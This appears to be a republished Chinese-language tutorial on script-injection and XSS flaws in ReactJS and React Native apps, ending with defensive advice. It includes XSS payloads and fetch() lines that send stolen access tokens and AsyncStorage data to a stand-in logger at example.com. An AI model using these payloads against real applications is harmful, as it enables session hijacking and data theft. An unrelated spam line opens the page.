自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

利用腳本注入漏洞攻擊ReactJS應(yīng)用程序

安全 應(yīng)用安全 黑客攻防
ReactJS是一款能夠幫助開發(fā)者構(gòu)建用戶接口的熱門JavaScript庫(kù)。在它的幫助下,開發(fā)者可以構(gòu)建出內(nèi)容豐富的客戶端或Web應(yīng)用,并且提前加載內(nèi)容以提供更好的用戶體驗(yàn)。

ReactJS是一款能夠幫助開發(fā)者構(gòu)建用戶接口的熱門JavaScript庫(kù)。在它的幫助下,開發(fā)者可以構(gòu)建出內(nèi)容豐富的客戶端或Web應(yīng)用,并且提前加載內(nèi)容以提供更好的用戶體驗(yàn)。

[[199564]]

從設(shè)計(jì)角度來(lái)看,只要你能夠按照開發(fā)標(biāo)準(zhǔn)來(lái)使用ReactJS的話,它其實(shí)是非常安全的。但是在網(wǎng)絡(luò)安全領(lǐng)域中,沒有任何東西是絕對(duì)安全的,而錯(cuò)誤的編程實(shí)踐方式將導(dǎo)致類似腳本注入漏洞之類的問(wèn)題產(chǎn)生,這些錯(cuò)誤的編程方式包括:

1.利用用戶提供的對(duì)象來(lái)創(chuàng)建React組件;

2.利用用戶提供的href屬性來(lái)配置標(biāo)簽,或利用其他可注入的屬性來(lái)設(shè)置其他的HTML標(biāo)簽(例如link標(biāo)簽);

3.顯示地設(shè)置一個(gè)元素的dangerouslySetInnerHTML屬性(危險(xiǎn)的HTML標(biāo)簽屬性);

4.向eval()傳遞用戶提供的字符串?dāng)?shù)據(jù);

 

接下來(lái),讓我們一起看一看這些潛在的問(wèn)題將如何影響ReactJS應(yīng)用程序,并最終導(dǎo)致了腳本注入漏洞的出現(xiàn)。

組件、屬性和元素

在ReactJS應(yīng)用程序中,組件是最基本的組成部分。從本質(zhì)上來(lái)說(shuō),這些組件其實(shí)都類似于JavaScript函數(shù),它們可以接受任意的輸入數(shù)據(jù),然后返回React元素。一個(gè)基本的ReactJS組件如下所示:

  1. class Welcome extends React.Component { 
  2.   render() { 
  3. return <h1>Hello, {this.props.name}</h1>
  4.   } 

 

請(qǐng)注意上面代碼中的return語(yǔ)句,這是一種JavaScript中的語(yǔ)句擴(kuò)展(JSX)。在項(xiàng)目構(gòu)建的過(guò)程中,JSX代碼將會(huì)被編譯成常規(guī)的JavaScript(ES5)代碼。下面給出的兩種樣本代碼其功能是完全相同的:

  1. // JSX 
  2. const element = ( 
  3.   <h1 className=”greeting”> 
  4.   Hello, world! 
  5.   </h1> 
  6. ); 
  7. // Transpiled to createElement() call 
  8. const element = React.createElement( 
  9.   ‘h1’, 
  10.   {className: ‘greeting’}, 
  11.   ‘Hello, world!’ 
  12. ); 
  13. 在創(chuàng)建新的React元素時(shí),使用的是component類中的createElement()函數(shù): 
  14. React.createElement( 
  15.   type, 
  16.   [props], 
  17.   [...children] 

這個(gè)函數(shù)可以接受三個(gè)參數(shù):

1.type參數(shù):該參數(shù)可以是一個(gè)標(biāo)簽名(例如'div'或'span'),或一個(gè)component類。但是在React Native中只允許component類。

2.props參數(shù):該參數(shù)包含一個(gè)傳遞給新元素的屬性列表。

3.children參數(shù):該參數(shù)包含新元素的子節(jié)點(diǎn)。

如果你能夠控制其中任何一個(gè)參數(shù)的話,那么這個(gè)參數(shù)就會(huì)變成攻擊向量。

注入子節(jié)點(diǎn)

 

早2015年3月份,Daniel LeCheminant報(bào)告了一個(gè)存在于HackerOne的存儲(chǔ)型跨站腳本漏洞(XSS)。這個(gè)漏洞的成因如下:HackerOne的Web應(yīng)用會(huì)將用戶所提供的任意對(duì)象當(dāng)作children參數(shù)傳遞給React.createElement()函數(shù)。根據(jù)我們的推測(cè),存在漏洞的代碼可能跟下方給出的代碼比較相似:

  1. * Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. 
  2. attacker_supplied_value = JSON.parse(some_user_input) 
  3. */ 
  4. render() {  
  5.  return <span>{attacker_supplied_value}</span>

這段JSX代碼將會(huì)被轉(zhuǎn)譯成如下所示的JavaScript代碼:   

  1. React.createElement("span", null, attacker_supplied_value}; 

如果其中的attacker_supplied_value是一個(gè)字符串的話(正常情況),代碼將會(huì)生成一個(gè)正常的span元素。但是在當(dāng)前版本的ReactJS中,createElement()函數(shù)還會(huì)接受以children參數(shù)形式傳遞的普通對(duì)象。Daniel通過(guò)一個(gè)JSON編碼的對(duì)象利用了這個(gè)漏洞,他在這個(gè)對(duì)象中包含了dangerouslySetInnerHTML屬性,這將允許他向React呈現(xiàn)的輸出效果中注入原始的HTML代碼。最終的PoC代碼:

  1.  _isReactElement: true, 
  2.  _store: {}, 
  3.  type: “body”, 
  4.  props: { 
  5.    dangerouslySetInnerHTML: { 
  6.      __html: 
  7.      "<h1>Arbitrary HTML</h1> 
  8.      <script>alert(‘No CSP Support :(‘)</script> 
  9.      <a href=’http://danlec.com'>link</a>
  10.     } 
  11.   } 

相關(guān)的漏洞緩解方案可以在React.js的GitHub主頁(yè)上找到,感興趣的同學(xué)可以參考。在2015年11月份,Sebastian Markbåge提交了一個(gè)修復(fù)方案:為React元素引入了$$typeof: Symbol.for('react.element')屬性。由于無(wú)法從一個(gè)注入對(duì)象引用全局JavaScript符號(hào),所以Daniel設(shè)計(jì)的漏洞利用技術(shù)(注入child元素)就無(wú)法再使用了。

控制元素類型

 

雖然我們不能再將普通對(duì)象來(lái)當(dāng)作ReactJS元素來(lái)使用了,但是組件注入并非不可能實(shí)現(xiàn),因?yàn)閏reateElement()函數(shù)還可以接受type參數(shù)中的字符串?dāng)?shù)據(jù)。我們假設(shè)開發(fā)者采用了如下所示的代碼:

  1. // Dynamically create an element from a string stored in the backend. 
  2. element_name = stored_value
  3. React.createElement(element_name, null); 

如果stored_value是一個(gè)由攻擊者控制的字符串,那我們就可以創(chuàng)建任意的React組件了。但是此時(shí)創(chuàng)建的是一個(gè)普通的無(wú)屬性HTML元素,而這種東西對(duì)于攻擊者來(lái)說(shuō)是沒有任何作用的。因此,我們必須要能夠控制新創(chuàng)建元素的屬性才可以。

注入屬性(props)

 

請(qǐng)大家先看看下面給出的這段代碼:

  1. // Parse attacker-supplied JSON for some reason and pass 
  2. // the resulting object as props. 
  3. // Don't do this at home unless you are a trained expert! 
  4. attacker_props = JSON.parse(stored_value) 
  5. React.createElement("span", attacker_props}; 

這樣一來(lái),我們就可以向新元素中注入任意屬性了。我們可以使用下面給出的Payload來(lái)設(shè)置dangerouslySetInnerHTML屬性:

  1. {"dangerouslySetInnerHTML" : { "__html": "<img src=xonerror=’alert(localStorage.access_token)’>"}} 

跨站腳本漏洞

某些傳統(tǒng)的XSS攻擊向量同樣適用于ReactJS應(yīng)用程序。請(qǐng)大家接著往下看:

(1) 顯示地設(shè)置dangerouslySetInnerHTML屬性

很多開發(fā)者可能會(huì)有目的地去設(shè)置dangerouslySetInnerHTML屬性:

 

  1. <div dangerouslySetInnerHTML={user_supplied} /> 

很明顯,如果你能夠控制這些屬性的參數(shù)值,那你就能夠注入任意的JavaScript代碼了。

(2) 可注入的屬性

如果你能夠控制一個(gè)動(dòng)態(tài)生成的標(biāo)簽的href屬性,那就沒有什么可以阻止你向其參數(shù)值中注入JavaScript代碼(通過(guò)javascript:)了。除了href屬性之外,在現(xiàn)代瀏覽器中HTML5按鈕的formaction屬性同樣也是可注入的。

  1. <a href={userinput}>Link</a> 
  2. <button form="name" formaction={userinput}> 

另一個(gè)非常奇怪的注入向量就是HTML imports:

  1. <link rel=”import” href={user_supplied}> 

(3) 服務(wù)器端呈現(xiàn)的HTML

為了降低初始化頁(yè)面的呈現(xiàn)時(shí)間,很多開發(fā)人員會(huì)在服務(wù)器端預(yù)先加載React.JS頁(yè)面(也就是所謂的“服務(wù)器端呈現(xiàn)”)。在2016年11月份,Emilia Smith發(fā)現(xiàn)官方Redux代碼樣本中存在一個(gè)跨站腳本漏洞(XSS),因?yàn)榭蛻舳藸顟B(tài)被嵌入到了預(yù)呈現(xiàn)頁(yè)面中并沒有被過(guò)濾掉。(樣本代碼中的漏洞現(xiàn)在已經(jīng)修復(fù))

如果HTML頁(yè)面在服務(wù)器端預(yù)呈現(xiàn)的話,你也許可以在普通的Web應(yīng)用中找到類似的跨站腳本漏洞。

基于eval()的注入

如果應(yīng)用程序使用了eval()來(lái)動(dòng)態(tài)執(zhí)行一個(gè)由你控制的注入字符串,那你就非常幸運(yùn)了。在這種情況下,你就可以隨意選擇你需要注入的代碼了:

  1. function antiPattern() { 
  2.   eval(this.state.attacker_supplied); 

XSS Payload

在現(xiàn)代Web開發(fā)領(lǐng)域,很多機(jī)制的開發(fā)人員會(huì)選擇使用無(wú)狀態(tài)的會(huì)話令牌,并且將它們保存在客戶端的本地存儲(chǔ)中。因此,攻擊者必須根據(jù)這種情況來(lái)設(shè)計(jì)相應(yīng)的Payload。

 

當(dāng)你在利用跨站腳本漏洞來(lái)攻擊ReactJS Web應(yīng)用程序時(shí),你能夠隨意注入任意代碼,如果再配合使用下面列出的代碼,你就可以從目標(biāo)設(shè)備的本地存儲(chǔ)中獲取訪問(wèn)令牌并將其發(fā)送到你的記錄程序中:

  1. fetch(‘http://example.com/logger.php? 
  2. token='+localStorage.access_token); 

React Native

React Native是一款移動(dòng)應(yīng)用開發(fā)框架,它可以幫助開發(fā)人員使用ReactJS構(gòu)建原生移動(dòng)應(yīng)用。更確切地說(shuō),它提供了一個(gè)能夠再移動(dòng)設(shè)備上運(yùn)行React JavaScript包的運(yùn)行時(shí)環(huán)境。除此之外,我們還可以使用React Native for Web讓一個(gè)React Native應(yīng)用在普通的Web瀏覽器中運(yùn)行。

但是就我們目前的研究結(jié)果來(lái)看,上面列出的腳本注入向量都不適用于React Native:

1.React Native的createInternalComponent方法只接受包含標(biāo)簽的component類,所以即便是你能夠完全控制傳遞給createElement()的參數(shù),你野無(wú)法創(chuàng)建任意元素;

2.不存在HTML元素,HTML代碼也不會(huì)被解析,所以普通的基于瀏覽器的XSS向量(例如'href')就無(wú)法正常工作了。

只有基于eval()的變量才可以在移動(dòng)設(shè)備上被攻擊者利用。如果你能夠通過(guò)eval()注入JavaScript代碼,你就可以訪問(wèn)React Native API并做一些有趣的事情了。比如說(shuō),你可以從本地存儲(chǔ)(AsyncStorage)中竊取數(shù)據(jù)了,相關(guān)的操作代碼如下所示:

  1. _reactNative.AsyncStorage.getAllKeys(function(err,result) 
  2. {_reactNative.AsyncStorage.multiGet(result,function(err,result) 
  3. {fetch(‘http://example.com/logger.php? 
  4. token='+JSON.stringify(result));});}); 

建議

雖然從設(shè)計(jì)的角度出發(fā),ReactJS還是非常安全的,但是這個(gè)世界上沒有絕對(duì)安全的東西,不好的編程習(xí)慣將導(dǎo)致各種嚴(yán)重的安全漏洞出現(xiàn):

 

我們建議各位開發(fā)者們不要再使用eval()函數(shù)或dangerouslySetInnerHTML屬性,并避免解析用戶提供的JSON數(shù)據(jù)。

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2011-04-13 09:58:15

2012-06-07 09:15:14

ibmdw

2009-10-13 15:07:43

2009-03-09 12:37:48

2013-09-03 15:45:50

2014-11-24 09:16:14

2014-01-07 10:12:15

Spark

2023-09-01 00:05:40

2021-04-08 08:06:55

SAP應(yīng)用程序攻擊

2010-12-15 17:22:59

2010-08-23 15:50:43

2010-12-06 15:23:43

2012-10-23 14:51:38

2023-08-01 08:00:00

SQLWeb應(yīng)用安全

2009-04-02 10:26:27

2009-04-06 07:06:39

2020-04-21 09:55:54

DDoS攻擊網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2014-02-25 09:29:41

2012-08-22 14:57:00

2012-04-12 13:36:59

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)